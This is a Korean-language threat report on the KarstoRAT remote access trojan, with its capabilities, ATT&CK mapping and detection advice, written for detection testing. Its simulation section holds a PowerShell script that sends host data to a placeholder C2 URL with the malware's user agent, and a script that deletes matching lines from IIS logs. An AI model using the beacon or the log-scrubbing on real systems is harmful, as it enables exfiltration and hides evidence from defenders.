SOC Prime Bias: Medium

30 4월 2026 17:25

참신하고 은밀한 KarstoRAT 악성코드에 대한 면밀한 분석

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
참신하고 은밀한 KarstoRAT 악성코드에 대한 면밀한 분석
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

KarstoRAT는 최근에 식별된 원격 액세스 트로이 목마로, 시스템 정보를 수집하고, 오디오 및 웹캠 피드를 캡처하고, 스크린샷을 찍고, 키 입력을 기록하며, 인증 토큰을 훔칠 수 있는 기능을 가지고 있습니다. 이 악성코드는 지속성을 유지하며, 고유한 사용자 에이전트를 통해 HTTP로 명령 및 제어 서버와 통신하고, 추가 페이로드를 가져와 이어서 활동할 수 있습니다. 또한 화면 반전 및 강제 오디오 재생과 같은 파괴적인 기능도 포함되어 있습니다.

조사

LevelBlue SpiderLabs는 KarstoRAT의 실행 흐름, 명령 및 제어 통신, 데이터 유출 루틴 및 지속성 방법을 조사했습니다. 이 보고서는 악성코드가 실행되도록 유지하는 끝이 없는 2초 루프를 강조하고, STARTUP_ON and STARTUP_OFF 자동 실행 동작을 제어하는 명령을 설명합니다. 연구원들은 또한 데스크톱 배경을 변경하고 명령을 받으면 스스로 제거할 수 있는 악성코드의 기능을 문서화했습니다.

대응 방안

탐지 노력은 악성코드의 고유한 HTTP 사용자 에이전트, 의심스러운 시작 관련 레지스트리 항목 및 비정상적인 루핑 프로세스 동작에 집중해야 합니다. 엔드포인트 방어는 또한 보고서에서 설명된 파일 없는 스타일의 활동을 감시하고, 가짜 Roblox 마켓플레이스 유혹을 통해 제공된 알 수 없는 바이너리를 차단해야 합니다.

응답

KarstoRAT가 발견되면, 영향을 받은 장치를 격리하고 HTTP 트래픽과 시작 아티팩트를 포함한 포렌식 증거를 유지하며 모든 지속성 메커니즘을 제거해야 합니다. 조직은 노출된 자격 증명을 변경하고 초기 침해 후에 다운로드되었을 수 있는 추가 페이로드를 계속 모니터링해야 합니다.

“graph TB %% Class definitions classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Node definitions action_user_execution[“<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>Victim clicks a fake Roblox marketplace link (social engineering).”] class action_user_execution action persistence_boot_script[“<b>Persistence</b> – <b>T1037 Boot or Logon Initialization Scripts</b><br/>Malware registers itself in STARTUP_ON/OFF to run automatically on boot or logon.”] class persistence_boot_script persistence credential_keylogging[“<b>Credential Access</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Malware records keystrokes to capture credentials and other sensitive data.”] class credential_keylogging credential collection_screen_capture[“<b>Collection</b> – <b>T1113 Screen Capture</b><br/>Malware periodically captures screenshots of the victim's desktop.”] class collection_screen_capture collection collection_audio_capture[“<b>Collection</b> – <b>T1123 Audio Capture</b><br/>Malware records audio from the system microphone.”] class collection_audio_capture collection collection_video_capture[“<b>Collection</b> – <b>T1125 Video Capture</b><br/>Malware accesses the webcam to record video of the victim.”] class collection_video_capture collection discovery_process[“<b>Discovery</b> – <b>T1057 Process Discovery</b><br/>Malware enumerates running processes to identify security tools or valuable applications.”] class discovery_process discovery discovery_hardware[“<b>Discovery</b> – <b>T1592.001 Gather Victim Host Information: Hardware</b><br/>Malware collects hardware details such as CPU, RAM, and GPU.”] class discovery_hardware discovery discovery_software[“<b>Discovery</b> – <b>T1592.002 Gather Victim Host Information: Software</b><br/>Malware gathers installed software versions and patches.”] class discovery_software discovery discovery_firmware[“<b>Discovery</b> – <b>T1592.003 Gather Victim Host Information: Firmware</b><br/>Malware extracts firmware and BIOS information.”] class discovery_firmware discovery discovery_config[“<b>Discovery</b> – <b>T1592.004 Gather Victim Host Information: Client Configuration</b><br/>Malware collects configuration settings such as language, time zone, and network parameters.”] class discovery_config discovery impact_remote_desktop[“<b>Impact</b> – <b>T1219.002 Remote Desktop Software</b><br/>Malware uses remote desktop capabilities to alter the desktop background, flip the display, and swap mouse buttons.”] class impact_remote_desktop impact defense_self_destruct[“<b>Defense Evasion</b> – <b>T1027.005 Indicator Removal from Tools</b><br/>Malware self–destructs and removes its files to erase evidence.”] class defense_self_destruct defense %% Connections action_user_execution –>|leads_to| persistence_boot_script persistence_boot_script –>|enables| credential_keylogging credential_keylogging –>|enables| collection_screen_capture collection_screen_capture –>|enables| collection_audio_capture collection_audio_capture –>|enables| collection_video_capture collection_video_capture –>|enables| discovery_process discovery_process –>|leads_to| discovery_hardware discovery_hardware –>|leads_to| discovery_software discovery_software –>|leads_to| discovery_firmware discovery_firmware –>|leads_to| discovery_config discovery_config –>|enables| impact_remote_desktop impact_remote_desktop –>|triggers| defense_self_destruct “

공격 흐름

시뮬레이션 실행

전제 조건: 테레메트리 및 기준 사전 검사에 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 공격 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 식별된 TTP를 반영해야 하며, 탐지 논리에 의해 기대되는 정확한 테레메트리를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령어:
    공격자는 피해자 네트워크 내에서 발판을 마련했고 KarstoRAT을 위한 명령 및 제어 채널을 설정하기를 원합니다. 합법적인 트래픽과 섞이기 위해, 악성코드는 하드코딩된 사용자 에이전트 문자열 “SecurityNotifier”를 사용합니다. 공격자는 UA 헤더를 포함한 HTTP POST를 C2 서버에 발송하는 PowerShell one-liner를 침해된 호스트에서 실행합니다. 요청에는 유출된 데이터를 모방한 작은 JSON 페이로드가 포함되어 있으며, 이는 Sigma 규칙을 트리거하기에 충분합니다.

  • 회귀 테스트 스크립트:

    # KarstoRAT C2 시뮬레이션 – PowerShell
    $c2Url = "http://<webserver>/karsto_c2"
    $payload = @{
        host = $env:COMPUTERNAME
        data = "sample exfiltrated data"
    } | ConvertTo-Json
    
    $headers = @{
        "User-Agent" = "SecurityNotifier"
        "Content-Type" = "application/json"
    }
    
    try {
        Invoke-WebRequest -Uri $c2Url `
                          -Method POST `
                          -Headers $headers `
                          -Body $payload `
                          -UseBasicParsing
        Write-Host "C2 request sent."
    } catch {
        Write-Error "Failed to send C2 request: $_"
    }
  • 정리 명령어:

    # IIS 로그에서 생성된 요청 제거 (관리자 권한 필요)
    $logPath = "C:inetpublogsLogFilesW3SVC1"
    Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object {
        (Get-Content $_.FullName) |
            Where-Object { $_ -notmatch "SecurityNotifier" } |
            Set-Content $_.FullName
    }
    Write-Host "로그 정리 완료."